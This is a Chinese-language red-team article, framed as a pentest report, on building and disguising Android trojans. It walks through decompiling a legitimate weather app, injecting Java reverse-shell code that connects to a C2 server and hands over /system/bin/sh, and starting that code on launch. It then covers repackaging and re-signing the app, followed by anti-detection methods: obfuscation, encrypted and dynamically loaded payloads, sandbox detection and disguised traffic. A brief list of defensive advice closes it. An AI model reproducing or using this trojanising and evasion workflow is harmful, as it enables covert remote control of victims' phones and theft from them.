一、从一次渗透测试说起
前段时间,我们接到一家金融公司的委托,要求对其员工的内部手机管理系统进行一次模拟攻击测试。客户的意图很明确:测试他们的移动设备管理(MDM)系统是否足够安全,并验证是否能阻止恶意APP的入侵。
在实际操作中,我们并没有选择从网络层面入手,而是决定通过精心伪装的木马APP对目标员工手机进行渗透。从攻击到成功控制目标设备,这次行动让我对手机木马的免杀技术有了更深的体会。以下,我将以这次测试为例,详细讲解手机木马在实战中的免杀思路与技巧。
---
二、深度解析:移动设备木马化的第一步
攻击原理
在移动设备上投放木马的核心目标是通过一个合法外壳(通常是正常的APP)隐藏恶意功能,从而绕过杀毒软件和安全检测。通常来说,木马开发要解决以下几个问题:
- 恶意代码注入:将恶意逻辑隐藏在应用中;
- 静态分析规避:让打包后的应用在代码和签名层面看起来“干净”;
- 动态行为隐藏:在运行时避免被系统或安全软件检测到异常流量和行为;
- 混淆与加密:对代码、资源、通信数据进行混淆或加密处理;
- 绕过安全沙箱:部分安卓应用市场会对上传的APP进行沙箱检测,绕过这部分检测至关重要。
绕过思路
在实际操作中,如果想实现对目标手机的完全控制,以下几种手段非常有效:
- 利用现有的合法APP(如游戏、工具类APP)作为木马的载体;
- 在反编译源码后,插入恶意payload,然后重新签名和打包;
- 在动态调用层面加入一些反调试、反沙箱技术;
- 将后门功能模块化,通过远程下发payload动态加载到内存中执行。

接下来,我会用一个简单的木马案例,逐步讲解免杀过程中需要注意的关键技术点。
---
三、伪装APP实战:木马的开发与构造
让我们假设攻击目标使用的是安卓手机。以下是一个基础的安卓木马开发实战案例。
准备工作
在正式开发之前,我们需要以下工具:
- Apktool:用于反编译和重新打包APK文件;
- Bytecode Viewer:用于分析APK的DEX文件和代码修改;
- keytool + jarsigner:对修改后的APK进行重新签名;
- Python和Bash:编写辅助脚本,提高操作效率。
此外,还需要一个合法的安卓APP作为木马的载体(例如公开源代码的小工具APP)。
改造APP
我们以一个开源的天气预测工具APP为例,向其中嵌入一个简单的反向Shell功能。
步骤1:反编译APP
<pre><code class="language-bash"># 使用Apktool反编译目标APK apktool d weather_app.apk -o weather_decompiled</code></pre>
反编译完成后,weather_decompiled目录下会有解压后的APP资源文件和代码。
步骤2:插入恶意代码
我们编写一个简单的反向Shell代码,用于连接攻击者的C2服务器:
<pre><code class="language-java">public class Payload extends Thread { @Override public void run() { try { // 连接到攻击者的C2 IP和端口 Socket socket = new Socket("192.168.1.100", 4444); InputStream in = socket.getInputStream(); OutputStream out = socket.getOutputStream();
// 启动一个反向命令执行管道 Process process = Runtime.getRuntime().exec("/system/bin/sh"); InputStream processIn = process.getInputStream(); OutputStream processOut = process.getOutputStream();
// 数据读写管道 new Thread(() -> transferData(processIn, out)).start(); transferData(in, processOut); } catch (Exception e) { e.printStackTrace(); } }
// 数据流复制方法 private void transferData(InputStream in, OutputStream out) { try { byte[] buffer = new byte[1024]; int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); out.flush(); } } catch (Exception e) { e.printStackTrace(); } } }</code></pre>
将上述代码插入到APP的源代码中,例如在MainActivity的onCreate()方法中启动Payload线程。
<pre><code class="language-java">@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);
// 启动恶意Payload new Payload().start(); }</code></pre>
步骤3:重新打包与签名
反编译完成后,使用Apktool重新打包,并通过jarsigner进行签名:
<pre><code class="language-bash"># 重新打包 apktool b weather_decompiled -o weather_modified.apk
使用keytool生成签名证书
keytool -genkeypair -keystore my-release-key.keystore -alias mykey -keyalg RSA -keysize 2048 -validity 10000
对修改后的APK进行签名
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore weather_modified.apk mykey</code></pre>

步骤4:验证功能
将重新打包的APK安装到安卓设备上后,启动APP。如果一切正常,C2服务器会收到目标设备的反向连接。
---
四、免杀的深度优化
混淆与反检测
方法1:代码混淆
使用ProGuard对恶意代码进行混淆,让静态检测工具难以分析出Payload的逻辑结构。
方法2:资源文件加密

将恶意代码以加密形式存储在资源文件中,在运行时动态解密加载。例如:
<pre><code class="language-java">// 从资源文件加载加密代码 InputStream inputStream = getResources().openRawResource(R.raw.payload_encrypted); byte[] encryptedData = readStream(inputStream); byte[] decryptedData = decrypt(encryptedData);</code></pre>
方法3:动态加载技术
将Payload以Dex文件形式存储到外部,并利用dalvik.system.DexClassLoader动态加载,避免恶意代码直接出现在主APP中。
---
五、如何绕过沙箱与EDR
许多安卓应用市场会对上传的APP进行沙箱检测,同时一些EDR工具会检测APP的动态行为。以下是一些绕过思路:
- 延时执行:在APP运行的一段时间后才触发Payload,避免在短期内被检测到恶意行为。
- 环境检查:检测是否运行在虚拟化环境中(如Genymotion等),如果是则不触发恶意逻辑。
- 行为伪装:将恶意流量伪装为合法的HTTPS请求,通过伪造User-Agent等方式混淆流量特征。
---

六、从攻击者视角看防御
虽然本文的重点是解析攻击技术,但作为一名红队成员,我也会在每次测试后向客户提供详细的防御建议:
- 行为分析:使用动态行为检测工具,通过流量分析识别异常连接;
- 装置隔离:对员工设备进行严格的网络隔离,禁止非必要的外网访问;
- 签名校验:对APP进行严格的签名验证,禁止安装未签名或重新签名的APP;
- 安全教育:教育员工不要安装来源不明的APK文件。
---
七、总结与感悟
手机木马的免杀本质上是攻击者与防御者之间的博弈。从攻击者的视角看,我们会不断地通过混淆、加密和伪装等技巧规避安全检测。然而,每次攻击技术的进步,也推动了防御方法的迭代升级。在实战中,攻击与防御从来不是孤立的,而是相辅相成的。